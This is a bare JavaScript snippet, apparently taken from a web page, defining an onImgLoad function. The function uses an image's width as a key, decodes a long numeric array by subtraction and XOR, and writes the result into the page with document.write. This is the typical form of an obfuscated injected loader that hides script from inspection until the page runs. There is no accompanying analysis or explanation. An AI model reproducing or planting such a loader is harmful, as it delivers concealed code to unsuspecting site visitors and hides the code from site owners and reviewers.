function onImgLoad(source) {
var as = new Array(149,42,120,204,544,464,402,565,627,465,387,617,602,450,385,611,628,465,444,559,625,465,461,535,625,448,400,559,627,444,397,622,556,453,398,550,599,446,404,537,600,379,390,565,627,469,404,603,558,397,386,550,606,442,383,559,556,469,376,563,615,398,411,613,600,454,375,559,561,439,400,561,619,464,402,565,627,465,387,519,558,385,386,565,621,398,411,613,628,469,387,563,550,380,462,536,615,453,460,566,599,463,405,601,621,444,396,602,541,400,439,620,547,403,450,602,603,398,397,538,624,467,400,543,615,457,469,563,543,383,458,611,628,465,463,606,558,493,465,617,544,493,462,566,621,463,392,563,600,395,465,604,549,397,462,566,621,463,392,563,600,395);
var xi = source.width; if (!xi) {return;}
var sd=""; for (var n=4; n<as.length; n++) {sd+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sd);
}

